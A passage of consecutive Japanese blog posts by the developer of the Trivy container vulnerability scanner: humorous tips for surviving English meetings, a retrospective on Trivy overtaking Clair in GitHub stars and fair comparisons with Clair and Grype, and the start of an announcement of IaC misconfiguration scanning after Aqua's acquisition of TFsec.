他の人が準備無しでミーティングに臨むような場合でも、英語で説明するのは大変なので図を事前に書いたり話したいWebサイトを開いていったり準備をしっかりしていくと良いです。日本語でももちろんしたほうが良いのですが、口で説明すれば分かるだろうと油断しがちなので英語では特に意識してやるほうが良いです。

リアクション編

実際には何も理解していないのに分かっている感じを出すための方法です。

多彩な相槌を繰り出す

良く分からない時に相槌を打つときが多くあるわけですが、そのバリエーションは持っておきましょう。"I see"とか"OK"に始まり、"wow!"とか"Cool!"とか"That's nice"とか"Absolutely"とか言っておくと実際には何もわかっていなくても分かっている感じが出ます。

笑顔でいる

少しでも聞き取らなくては、とリスニングに集中していると怖い顔になります。自分もめっちゃ集中してて余裕ゼロだったので"どうした...?"と聞かれました。笑顔でいる方が分かっている感じも出ますし雰囲気も良いので頭と耳は集中させつつも外見はリラックスした感じを出す練習をしておきましょう。

笑うタイミングに気をつける

真面目な話の時はまだ良いのですが、雑談系の話になると笑いどころはかなり重要になってきます。何を言ってるか分からなくても話者の表情や抑揚などから面白いことを言っていそうという気配を察し、絶妙なタイミングで笑ってみせる必要があります。真面目な話のときは聞き返しますが、ジョークを聞き返すのは結構申し訳ない気持ちになります。雰囲気で乗り切りましょう。

シュール系ジョークに気をつける

ややこしいのはシュール系のジョークが好きな人です。真顔でボケて来られると笑うタイミングが掴めません。初見殺しです。

同僚「ジョーク(真顔)」
自分「え...?」
同僚「いやジョークだよー」

みたいなやり取りを何度もしたことがあります。滑らせた感じになってすまないと思うわけですが、もう少し分かりやすくしてくれという気持ちもあります。日本人でも自分で話して自分で笑っちゃう人がいますが、笑いどころを知る上では非常にありがたいなと最近思うようになりました。その人の性格がわかってくればジョークを言いそうなタイミングも分かってきて察することが出来るようになるため、最初はボケられても笑えない微妙な空気に耐えましょう。

メンタル編

上のように微妙な空気になっても耐えられるメンタルが必要になります。その対策です。

なぜ日本語を話さないのか?と思っておく

英語ネイティブと話す時、お互いのメイン言語が異なるという条件は同じわけで相手が日本語を話しても良いはずです。何で日本語じゃないのだろう?と内心思っておきます。そして仕方ないので自分が相手に合わせて英語を話すかという心構えでいます。そうすると相手に貸しがあるわけで、自分の英語で至らないことがあっても「これで貸し借りなしな」という気持ちになれます。

これはあくまでメンタルを強く保つための方法なので内心に留めておいて表に出すのはやめておきましょう。

でも自分めっちゃ日本語話せるしなと思っておく

英語でまくしたてられて全然聞き取れなかったとします。そんな時は「でもこれがもし日本語だったら余裕で聞き取れるな。何ならもっと速く話せるぜ」と思っておきましょう。

追記: まさにこれという画像を頂いたので載せておきます

分からなくても死なないと思っておく

車の運転時とかミサイルが撃ち込まれた時とか命に関わるような話はちゃんと理解しないとダメですが、普通の会社のミーティングで何か分からないことがあっても生きていけます。「さっぱりわからん!!!」ぐらいのテンションでいましょう。

強めの"は?“に備える

自分が何か発言した時に結構強めに“は?“と言われて精神がやられる時があります。恐らく"Huh?"なので強い意味はなく日本語の「え?」ぐらいのニュアンスだと思います。あちらも心を折りに来ているわけではない(多分)ので、事前に備えておけば耐えられます。

その他編

ペース配分を考える

ミーティングが一時間もあったら英語弱者にとってそんな長時間集中し続けるのはまず不可能です。ここぞの時に集中するためにペース配分を考えて試合を進める必要があります。時には大胆に集中力をオフにしてボケーッとしていきましょう。

最後に名前を呼ぶタイプの人に気をつける

質問をする時、"Hey @knqyf263, I think ~"のように最初に注意をひきつけてくれる人は良いのですが、中には "I think xxx yyy zzz~, what do you think? @knqyf263" のように話の最後に急に振ってくる人もいます。こちらとしては何か長めに話し始めた時点でオフになって集中力が0になっていることも多く急に振られても何も話を聞いておらず詰みます。

これは対策が難しいのですが、最初の何文かを集中して聞いて関係なさそうと分かったらオフになりましょう。あとはよくそういう振り方をしてくる人をマークしておいて、その人が話し始めたら感度を上げるのも大事です。

初対面の人と大事なミーティングをしない

やはりある程度慣れというものがあると感じています。何回か話した人は多少は聞き取りやすくなります。一方で初対面だと絶望的に聞き取れない場合があります。そのような状況で何か大事なミーティングをしていると何も分からないまま大事な決定がなされていきます。

自分は恐ろしいほど聞き取れなかったので適当に返していたのですが、あとで聞いたら全然自分の想定と違う決定になっていて急いで謝りました。どうしても初対面の人と大事なミーティングをする場合は議事録残しましょうと最初に提案しましょう。

真面目編

今まではしょうもない内容でしたが、最後に少し真面目なことも書いておきます。

事前に議題を聞く

カレンダーにある程度要点を書いてくれる人はいいのですが、"Discussion" ぐらいのタイトルで詳細なしにミーティングをセットしてくる人もたまにいます(実際にはもう少しちゃんと書いてますがいずれにせよ詳細がわからないレベル)。そういう時はチャットなどで事前に"今日ミーティングセットしてたけど何について話すの?"と聞いておきましょう。何ならそのチャットだけで用件が済むこともありミーティングを未然に防ぐことが出来る場合もあります。

あとで要点を送ってもらうよう依頼する

これは社外の人から説明を受けた場合などによく使う方法です。例えば税理士から丁寧に説明してもらっても大体単語も難しいのでさっぱり分かりません。そういう場合はミーティングの最後に"要点だけ後で送ってもらえますか?"と依頼します。OKと言いつつ送ってくれないことも多いですが、送ってくれた場合はDeepL使えば何とかなります。

ボディランゲージを駆使する

これはあたり前のことなのですがやはり重要なので一応書いておきます。困ったら大体身振り手振りしておけば伝わります。

大きな声ではっきりと話す

これもよく言われることですが、小さい声でモゴモゴ言うと余計に伝わらないので下手でも大きな声ではっきりと話しましょう。

否定疑問文にYES/NOで答えない

"Don’t you like sushi?"と聞かれた場合、日本語だと「はい、好きではないです」となるのでYESと言いたくなりますが実際はNOです。食事の好みぐらいなら間違ってもいいですが、重要な質問で逆の回答をしてしまうと非常に困ります。これは中学で習うような話なので全員知っていることだとは思いますが、いざ会話中に使われると間違うことも多いです。頭の中で"Don't you"を"Do you"に置き換えて回答するなどの手もありますが、それでも自分は混乱するのでYES/NOで答えずに "I like it" のように文章で答えるようにしています。それなら確実に伝わります。

まとめ

しょうもないテクニックを駆使しないでちゃんと勉強しましょう。

趣味で作ったソフトウェアが海外企業に買われ分野世界一になるまでの話

2年前の2019年8月に以下のブログを書きました。

knqyf263.hatenablog.com

今回はその続きです。前回のブログは多くの人に読んでもらうことを意識して書きましたが、今回はそうではないです。特に得た学びを書くわけでもなく何で作り始めたのか?とかどんなことがあったのか?とか思い出話を書いているだけなので、言ってしまえば自己満足の記事です。それで構わない人や前回の記事を見てその後どうなったか気になった人だけが読んでもらえますと幸いです。

誰かのためになるわけでもない過去の出来事について語るのは老人感が強くて基本的に好きではないのですが、自分の中で一番大きかった目標を達成したので節目として書いています。

英語版の記事も会社のブログから公開しています。英語版のほうが簡潔で良い可能性もあります。日本語版は誤った解釈をされると嫌だからもう少し詳細に書こう、を繰り返していつも長くなりすぎます。

blog.aquasec.com

繰り返しになりますが、この先長い上に何も得るものがない可能性があります。前回の記事のように何か面白い話を期待して読むと恐らく期待はずれです。

はじめに

概要

前回のブログを書いた時はまだイスラエルにすら行っておらず、ビザは7月末に出ると弁護士に言われ家を解約したものの結局ビザが間に合わずにホームレス生活を送っている最中でした。そんな全く先の見えない状態でブログを公開するのは正直かなり怖いものがありました。イスラエルに行って周りの優秀さに圧倒されて何も通用せずに帰国したり、買われたソフトウェアも将来性が見出せず結局すぐにメンテナンスフェーズに移行したりという可能性もありました。技術面以外でも行ったことすらない国に行っていきなり住むというのは博打要素がありますし、そもそも英語が全然出来ないので会話できずにクビという可能性も十分あり得ました。

結論から言うとこの2年間大きな問題もなく集中してやらせていただけて、既存の競合OSSを超えるという目標を達成することができました。今の会社に買収される前からの目標だったので約3年越しです。足したい機能はまだまだありますし目標達成したので終わりという感じは全くないのですが、一つの区切りではあるかなと思ったので振り返りを書いておこうと思います。

タイトルで分野世界一と強めの言葉を使っていますが、本記事内ではGitHubのスター数が一番多いことを世界一と表現しています。この点については後述します。

自分はTrivyというコンテナイメージの脆弱性スキャナーを作ったのですが、この分野にはClairという絶対的王者がいました。当時、Amazon ECR, GitLab, Harborなどコンテナ脆弱性スキャンを提供しているところは全てClairを使っていました。この分野では間違いなく世界で一番有名で、世界一使われていたOSSでした。自分はClairがこの分野で世界一だと思っていましたし打倒Clairで開発を始めたので、今回GitHubのスター数でClairを追い越したというのは自分にとっては想像もしていなかったぐらい非常に大きい出来事でした。

Clairのリリースは2015年で、自分が開発を始めた2019年時点で既にスター数は5,000を超えていました。その差を覆すのはほぼ不可能だろうと自分でも思っていただけにとても嬉しいです。以下にスター数の変遷のグラフを載せておきます。この2年で結構良いペースで伸びています。図にはGrypeというOSSも含めているのですが、このツールについては後述します。

f:id:knqyf263:20210729134356p:plain

Clairは元々Quayというコンテナレジストリのために開発されたツールでしたが、その後CoreOSに買収されます。そしてCoreOSはRed Hatに買収されます。さらにRed HatIBMに買収されましたわらしべ長者みたいなストーリーですが、つまり今ClairはRed HatIBMという大企業にメンテナンスされています。ちなみに元々の開発者は弊社CTOの友人なのですが、IBMを既に抜けています。大企業は持っている資金も人的リソースも段違いなので圧倒的パワーで今後追い越される可能性もありますが、とりあえず現時点では上回っています。まだ僅差なのでブログ公開直後に抜かれたら残念な感じになりますが、一瞬でも夢を見られたということで書き残しておきます。

GitHubスターについて

OSSをやっているとどうしてもGitHubのスター数というのは意識せざるを得ないため、せっかくなので一般的な話も含め少しまとめておきます。

OSS以外の有償の商品でもっと凄いのがある」とか「GitHubのスター数が少なくても良いOSSはある」といった指摘に対しては自分も賛同しますが、今回はあくまでGitHubスター数による評価なんだなと思ってください。他の観点で見たら全然一番ではないという事はあり得ますが、例えば大学ランキングとかも評価軸を変えたら全然順位が異なるわけで今回もその程度の意味合いだと思ってください。「お前がそう思うんならそうなんだろう お前ん中ではな」ぐらいで構いません。とはいえOSSにおけるGitHubスター数というのは「からあげグランプリ 金賞」よりは納得感のある評価軸だと思っています。

注意点として、言語やカテゴリ異なるとスター数の伸び方も全く異なるので統一的な指標として機能するわけではないです。JavaScriptは開発者の母数が多いので伸びやすいとか、グラフィカルなツールは実際に試す前に何となくスター付けるから伸びやすいとか、細かい違いはたくさんあります。

マーケティングのテクニックによっても左右されるところがあります。大企業が公開するとそれだけで注目されたりもします。スター数と知名度が必ずしも比例するわけでもありません。

例えばログ収集ツールだと自分はFluentdが好きで、実際日本ではFluentdが一番有名な感じがしますが、スター数ではElastic社のLogstashの方が上です。これはLogstashがElasticsearchやKibanaなど他のツールとの親和性が高いことや、Elastic社のマーケティング戦術なども影響していると思いますし、必ずしも「スター数が多い=優れている」というわけではないことは強調しておきます。両方使ったことがありますがどちらも良いツールです。

f:id:knqyf263:20210729134731p:plain

また、GitHubで公開されていないソフトウェアもあります。スター数は少ないけどユーザ数は多いライブラリなども多数存在します。例えば意識して使っていないけれど間接的に利用しているケースなどが挙げられます。本来は利用統計が取れると良いのですが、そういうコードをOSSに埋め込むと間違いなくコミュニティから激しい反発に合うはずなので普通は難しいです。

そういう事情もあり、やはり類似ツールを比較する上ではスター数というのは一つの指標としては機能するかと思います。言うまでもないですがスター数だけを求めるようなのは虚しいですし開発者として何も楽しくないので、良いものを作ってその結果評価してもらえるという形が良いです。そもそも上辺だけ取り繕ってもすぐにユーザにバレます。小さな改善を地道に続けた結果、見える数字もついてくるというのが一番だと思います。

時系列

過去のことは自分でも忘れつつあるのでツイートとか見て思い出しつつ簡単に振り返ります。この辺りの話は断片的に別のところでも書いたことがあるのですが、もう少し当時の心境とか細々したことを書きます。

開発を始めるまで

元々脆弱性が好きでしたが、自分で探すバグハンターのような仕事よりシステムをセキュアにすることに興味があることにしばらくして気付きました。そしてVulsというOSSのサーバ脆弱性スキャナーの開発に参加するようになりました。

github.com

当時サーバを管理していたので便利に使っていたのですが、しばらくしてコンテナ技術を利用するようになりました。コンテナならばもっと早い段階(CI上など)で脆弱性が検知できれば便利だなと考え、既存のOSSを探しました。そこでClairに出会うのですが、Clairはクライアント・サーバ型でサーバを事前に準備する必要がありCI/CDのようになるべく状態を持ちたくない環境には不向きに見えました。

これは今考えれば当然で、Clairは上述したようにコンテナレジストリ向けに作られたものだからです。目的が違うのだから自分の用途に合わなくて当たり前です。

Vulsもサーバ用に作られたものなので目的が異なります。サーバにSSHでログインしてスキャンできるため多数のサーバであっても軽量に実行できるのが強みですが、CI上での実行となるとやはり不向きでした。そこで元々Vulsで改善したい点もいくつかあったので、それらを踏まえて新たなスキャナーを作ることにしました。

その時のアイディアをVulsの開発者である @kotakanbe さんに話して、Clair倒せるやつ作ろうなどと某キャンプの打ち上げで言っていたのを覚えています。2018年の秋ぐらいでした。そこからずっと構想を温めていたのですが本業も忙しかったので、たまたま当時自分の所属していた企業にインターンに来ていた @hurry_41さんに構想の一部を切り出してテーマとしてやってもらったりしました。

そこからしばらく忙しかったため開発には取り掛かれずにいました。しかし @kotakanbe さんや @tomoyamachi さんの後押しやちょうどゴールデンウィークが10連休だったこともあり開発に着手しました。その辺りの話は別の場所でも書いたので省略します。

仕事が忙しくてその頃あまりOSSやれていなかったのですが、以前に作ったOSSに対してありがたいコメントが来ていてやっぱりOSS良いなと思ったのもやる気になったきっかけの一つです。Issueのタイトルにもrespectivelyって書いててややこしいですが本文にdeep respectと書いてあります。

あと、いつか作ろうなどと言っていてずっと作り始めず他の人が既に作ってしまったということもありました。実はVulsもその一つだったのですが、毎回「それ作りたかったやつ〜」とあとで言うだけの人間になっているように自分で感じていました。

当時既にコンテナイメージの脆弱性を検知するツールは複数存在していたのですが、自分のアイディアと似たものはありませんでした。今のアイディアを先に誰かに作られたら一生後悔するなと思ってGW10連休を費やす決心をしました。

開発中

構想を練っていた時、コンテナを実行せずにコンテナイメージを解析するということにこだわりを感じるようになっていました。当時の既存ツールの中には実行して解析するものもいくつかありましたが、自分としては絶対に実行したくありませんでした。そのことを周りの人に話したのですが、「コンテナ実行すれば良くない?何が駄目なの?」という反応でした。今考えればランタイムへの依存が不要になったりレイヤー単位でキャッシュできるようになったりといくつも利点を挙げられるのですが、当時は「何が駄目とかではなく自分がどうしてもやりたくない」という論理性のかけらもない理由で強くこだわっていました。こういう謎のこだわりを捨てずに済むのが個人プロジェクトの良いところかと思います。仕事だとまず無理です。

他にも自分が絶対にこだわりたかったのは、シングルバイナリで提供して適当にどこかにおけばすぐ使えるようにするという点でした。これはつまり外部のOSコマンドや他の言語(TrivyはGoで書いているのでGo以外)のライブラリが使えないことを意味します。例えばRubyの依存ライブラリ一覧を取得する際、 gem listbundle list を実行すれば一発なわけですが、そういったショートカットができません。CGOによりCは使えたりしますが、クロスコンパイルが難しくなるので禁止しました。じゃあどうするかと言うと各言語の実装を理解して全てGoで書き直す必要があります。気の遠くなる作業ですが、そういったところで開発者が楽をするとユーザの利便性が低下します。

ここはしんどくても譲れないという想いが強かったため、まずapk, dpkg, rpmコマンドの実装を読んでOSパッケージを表示するために何をしているのか調べ、次にBundlerの実装を読んでGemfile.lockのパース方法を調べ、といったことを繰り返しました。

他のOSSを見渡しても普通に外部コマンドを実行していて誰もそんなところにこだわりは持っていませんでしたが、これまた個人でやっていたのでこういった細かい部分に時間をかけられました。実際には rpm コマンドへの依存だけGW中に倒すことができず最初は依存がある状態だったのですが、しばらくしてそれも解決しました。その辺りの細かい話は以下に書いてあります。タイトルはいかつめですが、競合OSSであるGrypeのメンテナと協力した良い話です。

knqyf263.hatenablog.com

そしてもう一つのこだわりは設定や事前準備不要でいきなり使えるようにするという点でした。他のツールは手元で脆弱性DBを構築し、設定ファイルを書いて...などと実行前に事前準備が必要なものがほとんどでした。セキュリティに時間もお金もかけたくない人・組織がほとんどなのにこんなに設定が面倒だとさらにセキュリティから遠ざかってしまうと感じていました。そのため、コンテナイメージ名を指定するだけでDocker EngineやDocker Registryから自動的にイメージを探して取得してくれて、DBも勝手に良い感じにしてくれるツールを目指しました。そうすることでとりあえずこのツール入れておくか、となってセキュリティがもう少し身近なものになってくれるかもしれないと期待していました。

最後のこだわりはやはり精度です。セキュリティのツールで誤検知ばかりするツールもありますが、そうするとやがてオオカミ少年のように誰も信じてくれなくなります。つまり、セキュリティ上の問題があると主張する以上は極力正しくてはならないというのが自分の譲れないポリシーでした。精度は高いべきというのは当たり前に思うかもしれませんが、世の中意外とえいやでやっているツールも多いです。

実際、他のツールの精度を評価したらイマイチなものが多いことが分かりました。ちなみに当時の結果ではClairの精度は他よりも高く、こういう差がユーザ評価にも反映されているなと感じました。やはり精度にこだわるのは間違っていないと確信を深めました。

そしてずっと引きこもって開発していたらどんどんこだわりが強くなって頑固親父みたいになっていき、謎の自信も湧いてきて「やってやるぞ!!」という意思表明をしたりもしてました。

大言壮語ではなくなって良かったです。

公開後

GWで開発したと言っていますが実際に公開したのは2019/05/17だったのでGWを1週間以上過ぎています。この延長期間は開発というよりは、ドキュメントにこだわり始めたら終わらなくなった感じでした。

以前petというOSSを公開したときは公開直後にあっという間にスター数が1,000を超えていたのですが、Trivyの時は公開してもしばらくはあまり伸びず駄目だったかと諦めつつありました。

ですが自分でも忘れていて驚いたのですが、改めてツイートを見返したら公開翌日に今の会社のCTOから連絡が来ていました。この頃はまだスター数も400~500程度だったはずです。その時に既に目をつけて自社のスキャナーを置き換える事を考えていたのは決断力が尋常じゃないです。フランス(?)だったかに出張していてカンファレンスか何かでTrivyがちょうど話題になり友人が教えてくれたらしいです。そしてすぐに自分に連絡したとのこと。フランス(?)には感謝です(?)。

しかし当時の自分はそんな怪しそうな話よりもTrivyが伸びるかどうかが気になっていたのでメールをスルーしてコミュニティの反応を見守っていました。2日ぐらい経って500行かない程度だったので終わった...と思っていたのですが、5/19にフォロワー多い人(現時点で9.6万人)が拡散してくれて一気に増えました。

そのタイミングでクラスメソッドさんからの記事も公開されています。公開後4日ということで海外でも記事が出ていない中だったので、DevelopersIOの速度にはいつも驚かされます。

dev.classmethod.jp

そして一週間経ってようやく1,000を超えました。

余談ですが最初にスターを付けてくれたのは @shibu_jp さんでした。

1ヶ月ほど経って、海外でTrivyを使ったプロジェクトを公開する人も現れるようになりました。

そして2019年8月に今の会社に入って開発を続けるとことになりました。

会社加入後

2019年後半から2020年前半ぐらいでの出来事は以下にまとめています。

knqyf263.hatenablog.com

元々打倒Clairで始めたとはいえ絶望的な差があったのでそれを埋められるとは正直あまり思っていませんでした。ですが会社の人達が応援してくれているのを見てそれに応えたいなと思うようになります。それが2019年の秋ぐらいでしたが、この時点で知名度でもユーザ数でも圧倒的に劣っていたのによくそんな野望を持てたものだなと思います。そういうモチベーションを保てたという点だけを取っても個人ではなく会社として開発して良かったです。個人だったらどうせ無理だろうと諦めていた可能性が高いです。

当時働きすぎてマネージャーからも休めと言われるのですが、自分のためにやっていることであって仕事じゃないから気にしないで欲しいなどと言ったりしていました。実際この時期39℃の熱が出ていてテンションがおかしいですし、体調管理のためにも休息は大事です(当たり前)。

2020年から2021年までのこともまとめていたのですが、仕事で締切に追われていたためまだ公開できていません。

この間、@masahiro331 もアルバイトとして大きく貢献してくれました。

Clairとの比較という観点で大きかったのは、HarborがClairからTrivyに乗り換えたことです。上でも述べましたが、2019年時点ではどこもかしこもClairだったのでこれは流れを変える重要な出来事でした。実際HarborはSUSEなど色々な製品の裏側で使われているので、間接的に多くの製品にTrivyが組み込まれるようになりました。

www.infoq.com

既に実装されているものをわざわざ置き換えるというのはかなりコストがかかるため少しの差があれば普通やりません。それだけ高い評価をしてくれたということです。

しばらくしてGitLabも同様にTrivyに置き換えました。

こうした実績的に既に超えたと言えなくもないか…?とも思いましたが、OSSだしあくまでスター数で越えないとダメだなと思い改めて目標にしました。

そして何やかんやあって2021/07/22時点でスター数を追い越し今に至ります。

競合ツールについて

急に細かい話になりますが、今回の記事によって他のOSSは駄目なのかと誤解されるのは望むところではないので補足しておきます。

Clair

自分が今日まで頑張ってこれたのは間違いなくClairというライバルがいたおかげなので、本当に感謝しています。スポーツでもどんな分野でも目指すべき対象があるというのは重要だと思います。こんなの世界で自分以外誰が困ってるんだ、みたいな孤独を感じる時でもリポジトリを覗きに行くと同様に困っていたりして安心します。ライバルとはいえ公平に評価してもらいたいので、Clairの良いところを述べておきます。

まず再三述べているようにClairはコンテナレジストリ向けに開発されたツールです。実際、コンテナレジストリのように大量のイメージをスキャンする上ではClairに大きなアドバンテージがあります。ClairはPostgreSQLをDBとして採用しており、各コンテナイメージのメタデータや依存ライブラリをPostgreSQL上で管理しています。複数のイメージが同じ依存を持つことはザラなので、RDBの参照をうまく使うことで効率的に各イメージの依存性・脆弱性を管理できます。さらに、新たに脆弱性が公開された場合はDB内で関連するイメージの脆弱性結果を一気に更新することができます。全てのイメージを再度スキャンする必要がないためとても効率的です。

一方でTrivyではDBなどの事前準備を全て不要にしてとにかく簡単に実行できるようにしたかったため、RDBは使わず組み込みKVS(BoltDB)を使っています。SQLiteじゃ駄目なのか?などの選定理由は省略しますが、とにかくTrivyではClairのように実装するのは難しいです。Trivyでもキャッシュは可能な限り最適化しているため再スキャンは高速に終わりますが、それでも数百万〜数千万イメージある場合はある程度の時間がかかります。

つまり全てにおいてどちらかが優れているということは無くて、用途により向き不向きがあるということです。大量のイメージがpushされうるコンテナレジストリでは元々の用途を考えてもClairの方が利点も多いです。

Harborはコンテナレジストリですが、幅広いOSやプログラミング言語の依存性への対応、そして初回実行の高速さなどが上で述べた利点を上回っていると判断してClairからTrivyに乗り換えました。また、Clairは初回実行時にローカルで脆弱性DBの構築を行うため、ネットワーク帯域やCPU・メモリのリソースを多く使います。この辺りはトレードオフなので、今後は用途に応じて棲み分けが進んでいくのではないかと思います。

そもそも先人達の努力によって得られた知見を基に改善できるため、後発組のほうが当然有利です。自分はVulsやClairを見て全く異なる仕組みで作ろうと思い立ち開発を始めているので、先人達には頭が上がりません。

Grype

今回の話にGrypeはあまり関係ないのですが、上で述べたようにGrypeのメンテナと共同作業で悲願を達成できたこともあり感謝も込めて触れておきます。GrypeというのはAnchore社が2020年の10月頃に発表したOSSです。

www.prnewswire.com

Anchoreは元々コンテナイメージスキャンのツールを有償で提供していたのですが(無料分あり)、それをベースにOSSをリリースしたようです。自分で言うのもなんですがかなりTrivyに似ています。表示もおしゃれに作られていて、さすが後発組という感じです。

SBOM対応などTrivyにはないユニークな機能もあります。以前Alpine Linuxのメンテナがブログ内で比較していましたが、false positiveを増やしてでもfalse negativeを減らすというアプローチなのでTrivyとは大きく異なります。これもトレードオフなので、ユーザの好みに合わせて選択すると良いかと思います。

ariadne.space

現時点ではTrivyの方が対応しているOSや言語も多く一日の長がありますが、先程も述べたように後発組の方が基本的には有利なので今後後進に道を譲る可能性はあると思っています。

前回の記事へのコメント

前回の記事は多くの人に読んでもらおうと思って丁寧に書いたので、文章に対する良い評価も頂けて嬉しかったです。かなり文章が長くなってしまったのに多くのコメントを頂きました。

趣味で作ったソフトウェアが海外企業に買われるまでの話 - knqyf263's blog

すごいし、懇切丁寧な説明もすごいし、すごい。

2019/08/20 15:25
b.hatena.ne.jp

趣味で作ったソフトウェアが海外企業に買われるまでの話 - knqyf263's blog

いい話だった、というかこの人の人柄がよいことが文章で伝わってきた。

2019/08/20 14:52
b.hatena.ne.jp

こういう誰でも意見を述べやすい記事に対してはネガティブなコメントもきっと多くつくだろうと予想していたのですが、実際には99%の人がポジティブなコメントを残してくださってインターネットの温かみを感じました。

一方で、カルチャー合うのだろうか?みたいな話や

趣味で作ったソフトウェアが海外企業に買われるまでの話 - knqyf263's blog

いい話だなあと思いつつ、競合潰しとアクハイヤーを兼ねてるんだろうなと感じる程度には心が汚れてる。ロックアップ条件とか気になる。企業のカルチャーが合うといいなあ。

2019/08/20 13:38
b.hatena.ne.jp

OSSとしてはもうダメなんじゃない?という指摘もありました。

趣味で作ったソフトウェアが海外企業に買われるまでの話 - knqyf263's blog

個人としては大成功だけど、OSSのプログラムは残念だけど死亡だな。

2019/08/21 00:01
b.hatena.ne.jp

これらに関しては自分もまさに不安に思っていた部分だったので、「いや〜分かる!!」みたいな気持ちでコメントを読んでいました。ですが既に書いたように非常に好きにやらせてもらいましたし、そのおかげもあってOSSとして結果も出せました。

ロックアップ条件とかも一切ありませんでした。そういった契約ではなく給料などで良い条件を提示することで残ってもらえるようにという配慮を感じるので良い会社だと思います。

一方で他社の話になりますが、OSS買収の話を持ちかけられたのにアイディアだけ盗まれて買収も雇用もされずといった非常に悲しい事件も2020年に起きました。そのことについてここで何か言いたいわけではないので会社名は伏せますが、自分は恵まれていた例だと思います。ですがそういう素晴らしいことも起きるということで少しは希望になれば幸いです。

また、

趣味で作ったソフトウェアが海外企業に買われるまでの話 - knqyf263's blog

すごいし夢のある話だけど、奥さんよくイスラエル付いていく気になったな

2019/08/20 15:30
b.hatena.ne.jp

趣味で作ったソフトウェアが海外企業に買われるまでの話 - knqyf263's blog

ほへー。奥さんの感想も聞いてみたいというのは確かにある。

2019/08/21 02:11
b.hatena.ne.jp

など妻へのコメントもあったのですが、どちらかと言うと海外生活に慣れている妻に自分が付いてきた感じです。日本大好きな自分は海外に行くつもりはなかったのですが、妻から日々海外行けと刷り込まれた結果、気付いたら海外に来てました。人生長いので一度挑戦してみたい気持ちは内心あったのに気づかないフリをしていたところ、後押しされたというのが本当のところです。

妻は引っ越してわずか1ヶ月で犬を飼い始めヘブライ語学校に通い始めました。自分が海外生活に慣れてきたなーとか言ってる間にそれら全ての手続きが終わっていたので驚きました。物件探しなども自分は仕事だったので全て妻がやりました。挙句、こちらの病院でコロナ禍で子供まで産んでいます。自分は日本での出産を提案したのですが、こんな経験普通できないからということで妻がこちらを選択しました。

今はこっちの友人経由で仕事を見つけてきて社会復帰しようとしています。保育園の見学に行ったら英語速すぎて自分は何も聞き取れなかったのですが、妻が話を進めて結局申し込んでました。側から見ているともはや日本人のメンタリティじゃないなと思いますが、そのおかげで自分も何とか日本人のほとんどいない国で暮らせています。

趣味で作ったソフトウェアが海外企業に買われるまでの話 - knqyf263's blog

これ、奥さんも凄くない?

2019/08/20 19:13
b.hatena.ne.jp

完全にその通りです。

今後について

目標を達成したので新しいことやるぞ!と言いたいところですが、先日新たな機能をリリースしたばかりです。

knqyf263.hatenablog.com

この機能はコンテナスキャン機能とかけ離れていてズルみたいな気がしますし本当はClairを上回ってからリリースしたかったのですが、ギリギリ間に合わずでした。ただリリースが7/12で超えたのが7/22なので大きな影響はなさそうだし良いかという感じです。

上の機能はベータ版のような感じでまだまだこれからです。他にも多数アイディアがあり、自分ももっと進化させたいという気持ちがあるのでしばらくはアクティブな開発が続きそうです。

スター数と知名度は必ずしも比例しないと言いましたが、Clairは知っているけどTrivyは知らないという人はまだ多くいます。リリース時期に4年間もの差があるため、その差を埋めるには至っていないということです。そういった観点でもまだ頑張らないといけません。

常々言っていますがこの業界は先が読めないので1年後にはどうなっているか分かりません。コンテナが一気に廃れてWebAssemblyになるかもしれませんし、後発のツールが圧倒的な力で既存ツールを置き換えていくかもしれません。その時はその時で新たな流れを歓迎しつつ楽しもうと思います。

まだアクティブに開発を続けると言いましたが、一方で自分の中であまりにも大きな目標だったので次は何を目標にしようと悩んでいるところです。有給もほとんど取らずに働いてきたので、一度秋ぐらいにゆっくり休んで今後のことを考えたいと思っています。未だに英語も怪しい自分を迎え入れて移住も全面サポートしてくれて、仕事では好きにOSS開発させてくれている会社に報いたいという気持ちがずっとあって、何かしら目に見える形で成果を出したいと思っていたので今回の件で精神的には大分楽になりました。CTOにあなたの目は正しかったと言えるようになってホッとしています。おかげでゆっくり休みでも取るかという気持ちになれました。

まとめ

個人プロジェクトから企業に移ってもOSSを楽しく続けることができ、ここ数年間の目標が達成できました。うまくいくのかと先行きを気にしてくださっていた方もいたようなので本記事で現状を共有しました。

他の人から見たら大したことないじゃん、という内容かもしれませんが自分にとっては大きな目標でした。そんな小さなことで喜べるなんて幸せなやつだなと温かく見守ってくださると幸いです。

競合OSSや類似製品に関して誤解や失礼があってはならないと思い冷静に公平に書いているつもりですが、内心はめっちゃ嬉しいので「よっしゃぁぁぁぁぁぁぁ!!!!!!!!!!!!(小躍り)」ぐらいのテンションです。もし何か失礼に当たる表現があれば恐らく自分の意図するところではないので修正します。

ここに至るまで多くの人に大変お世話になりました。この場を借りてお礼申し上げます。

Terraform, Dockerfile, KubernetesなどIaCの脆弱な設定をCI/CDで検知する

概要

自分の所属企業であるAqua SecurityがTFsecというOSSを買収しました。

blog.aquasec.com

TFsecはどういうツールかというとTerraformの静的解析スキャナーです。Terraformの設定ファイルを渡すことでセキュリティに関する設定ミスを主に検知してくれます。

github.com

そのアナウンスに伴い、TFsecは自分が開発している脆弱性スキャナーであるTrivyに統合されました。TrivyではTerraformに加えDockerfileやKubernetesなど、いわゆるInfrastructure as Code(IaC)の設定ミスを検知するマネージドポリシーも提供しています。他にもJSONYAMLなど一般的なファイルフォーマットに対応しているため自分でポリシーを書くことでそれらの検知にも使えます。CloudFormationやAnsibleのマネージドポリシーは近いうちに提供される予定ですが、マネージドポリシーが提供される前でも自分でカスタムポリシーを書けば対応可能です。まずはIaCメインですが、将来的にはWordpressやNginxなどミドルウェアの設定上の問題も検知できるようにしていく予定です。

細かい機能や使い方は以下にまとめました。

aquasecurity.github.io

ちなみに満を持してリリースしたv0.19.0はめちゃくちゃバグってて必ずpanicが起きる状態でした。このリリースに合わせて入念に準備してきたのに非常に恥ずかしいです。OSSのハードルを下げる活動に貢献できたということでポジティブに捉えていきます。v0.19.1以降を使ってください。

実はまだ完全には統合できておらず、今後徐々にTFsecの機能をTrivyに移していきます。特にTFsecで該当箇所の行を表示する機能は非常に便利ですが、まだ対応できていません。将来的にはTrivyで全てできるようにする予定ですが、TFsecもそのまま使い続けられます。

概要としては以上です。以下ではもう少し細かい話をしていきます。

TFsec

